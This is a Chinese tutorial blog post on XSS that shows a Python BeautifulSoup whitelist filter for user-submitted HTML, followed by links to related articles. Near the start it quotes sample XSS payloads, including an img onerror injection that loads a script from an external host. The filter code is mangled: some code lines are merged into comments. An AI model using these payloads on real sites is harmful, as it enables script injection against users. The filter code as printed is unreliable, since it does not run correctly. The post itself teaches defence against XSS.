下面我做的莫名其妙的代码格式化是因为这个 --。--

首先大致说一下XSS,就是在HTML里插入恶意的javascript代码,使得在该HTML加载时执行恶意代码,达到攻击的目的。

可能存在的地方呢,就是只要是用户能输入的地方那么就可能产生XSS,包括像博客园这种能看到输入形成的HTML的编辑器。

下面是博客园的过滤手段。(注意最后一行)

 当然不止这些写法,比如<img src=0 onerror=alert(1)>这些<tag on*=*/>事件,或者说下面这种“借刀杀人法”<script src="JS地址"></script>。

甚至可以用图片方式来动态加载外部js。

<img style=display:none src=1

onerror='var s=document.createElement("script");

s.src="http://xsst.sinaapp.com/m.js";

(document.body||document.documentElement).appendChild(s);' />

那当我们回看前面写的这几种方式的时候,可以 发现几个标签或属性特别显眼

<script>、<src>、<on*>事件,

那么我们就可以设置只允许某几个标签通过。(黑名单不安全,毕竟只有你想不到。没有别人做不到。)

下面说说怎么过滤,现在可能直接想到的,用正则表达式,这当然可以,只不过比较难设计,那我们先用BeautifulSoup来处理HTML,再来过滤敏感标签。

content="""
<p class='c1' id='i1'>
asdfaa<span style="font-family:NSimSun;">sdf<a>a</a>sdf</span>sdf
</p>
<p>
<strong class='c2' id='i2'>asdf</strong>
<script>alert(123)</script>
</p>
<h2>
asdf
</h2>
"""
# 这儿当做是安全的标签,同时也指定了安全的属性。
tags = {
'p': ['class'],
'strong': ['id',]
}
from bs4 import BeautifulSoup
soup = BeautifulSoup(content, 'html.parser') # BeautifulSoup自带的html解释器 for tag in soup.find_all():
if tag.name in tags:
pass
else:
tag.hidden = True # 将标签隐藏
tag.clear() # 删除标签里的内容
continue # 用户提交数据的所有属性
input_attrs = tag.attrs # {'class': 'c1', 'id': 'i1'}字典
valid_attrs = tags[tag.name] #['class']列表 # input_attrs.keys() 生成的是一个迭代器
# 注意下面这种写法,在迭代器里是不能删字典里某个键值对的,因为这样破坏了迭
# 代器。 for k in list(input_attrs.keys()):
if k in valid_attrs:
pass
else:
# 删除某个标签的某一个属性
del tag.attrs[k]
# decode为HTML形式。
content = soup.decode()
print(content)

python实现XSS过滤(BeautifulSoup和白名单处理)的更多相关文章

  1. 根据白名单过滤 HTML(防止 XSS 攻击)

    https://github.com/leizongmin/js-xss/blob/master/README.zh.md 根据白名单过滤 HTML(防止 XSS 攻击) xss是一个用于对用户输入的 ...

  2. python(Django之组合搜索、JSONP、XSS过滤 )

    一.组合搜索 二.jsonp 三.xss过滤 一.组合搜索 首先,我们在做一个门户网站的时候,前端肯定是要进行搜索的,但是如果搜索的类型比较多的话,怎么做才能一目了然的,这样就引出了组合搜索的这个案例 ...

  3. 04: 使用BeautifulSoup封装的xss过滤模块

    目录: 1.1 xss攻击简介 1.2 xss攻击解决方法 1.1 xss攻击简介返回顶部 1.简介 1. 跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS. ...

  4. Python开发【Django】:组合搜索、JSONP、XSS过滤

    组合搜索 做博客后台时,需要根据文章的类型做不同的检索 1.简单实现 关联文件: from django.conf.urls import url from . import views urlpat ...

  5. 第10.5节 使用__all__定义Python模块导入白名单

    一. 引言 <第10.4节 Python模块的弱封装机制>介绍了Python模块的的弱封装机制,除了使用弱封装机制来从一定程度上防止导入特定成员外,Python模块中还提供可另外一种类似白 ...

  6. 第8.20节 Python中限制动态定义实例属性的白名单:__slots__

    一. 引言 按照<第7.10节 Python类中的实例变量定义与使用>.<第7.14节Python类中的实例方法解析>中的介绍,当定义了一个类,并且创建了该类的实例后,可以给该 ...

  7. APK安装时的过滤方式:包名白名单、证书认证

    1.定义一些全局变量,文件位置: Build.java (frameworks\base\core\java\android\os) /** * 包管理方式名称<br> * whiteli ...

  8. Nginx 配置GeoIP2 禁止访问,并允许添加白名单过滤访问设置

    配置环境:Centos 7.6 + Tengine 2.3.2 GeoIP2 下载地址:https://dev.maxmind.com/geoip/geoip2/geolite2/ 1. Nginx  ...

  9. KindEditor 和 xss过滤

    KindEditor   1.进入官网 2.下载 官网下载:http://kindeditor.net/down.php 本地下载:http://files.cnblogs.com/files/wup ...

随机推荐

  1. Java 并发专题 : Executor具体介绍 打造基于Executor的Webserver

    转载标明出处:http://blog.csdn.net/lmj623565791/article/details/26938985 继续并发,貌似并发的文章非常少有人看啊~哈~ 今天准备具体介绍jav ...

  2. vim各种编码设置问题

    vim各种编码设置问题 vim中主要有四个编码相关的设置,详细是~/.vimrc中: 下面是我的设置: set fileencodings=gb18030,utf-8,gb2312,gbk: set ...

  3. 盘点selenium phantomJS使用的坑

    参考:http://www.jianshu.com/p/9d408e21dc3a   http://www.cnblogs.com/luxiaojun/p/6144748.html 豆瓣应该是ip被封 ...

  4. 使用 webpack 打包 font 字体的问题

    之前在使用 Vue 做项目的时候使用了 font 字体,然而在打包的时候 font 字体的引用路径不正确. 解决办法就是在 webpack 的配置文件中设置根路径 目录在 \config\index. ...

  5. 如何用jQuery实现五星好评

    jQuery是js的一个库,封装了我们开发过程中常用的一些功能,方便我们来调用,提高了我们的开发效率. Js库是把我们常用的功能放到一个单独的文件中,我们用的时候,直接引用到页面里面来就可以了. 接下 ...

  6. ReactNative布局样式总结

    flex number 用于设置或检索弹性盒模型对象的子元素如何分配空间 flexDirection enum('row', 'row-reverse' ,'column','column-rever ...

  7. C 标准I/O库粗略实现

    本文同时发表在 https://github.com/zhangyachen/zhangyachen.github.io/issues/123 写一下fopen/getc/putc等C库的粗略实现,参 ...

  8. linux集群批量执行命令

    因为工作需要,需要修改集群中机器的配置,一台一台的修改太浪费时间,就想能不能通过自动化脚本批量执行命令,尝试写一个,自己shell不熟悉,写的有点渣渣 if [ "$#" -ne ...

  9. bzoj 3242: [Noi2013]快餐店

    Description 小T打算在城市C开设一家外送快餐店.送餐到某一个地点的时间与外卖店到该地点之间最短路径长度是成正比的,小T希望快餐店的地址选在离最远的顾客距离最近的地方. 快餐店的顾客分布在城 ...

  10. bzoj 4013: [HNOI2015]实验比较

    Description 小D 被邀请到实验室,做一个跟图片质量评价相关的主观实验.实验用到的图片集一共有 N 张图片,编号为 1 到 N.实验分若干轮进行,在每轮实验中,小 D会被要求观看某两张随机选 ...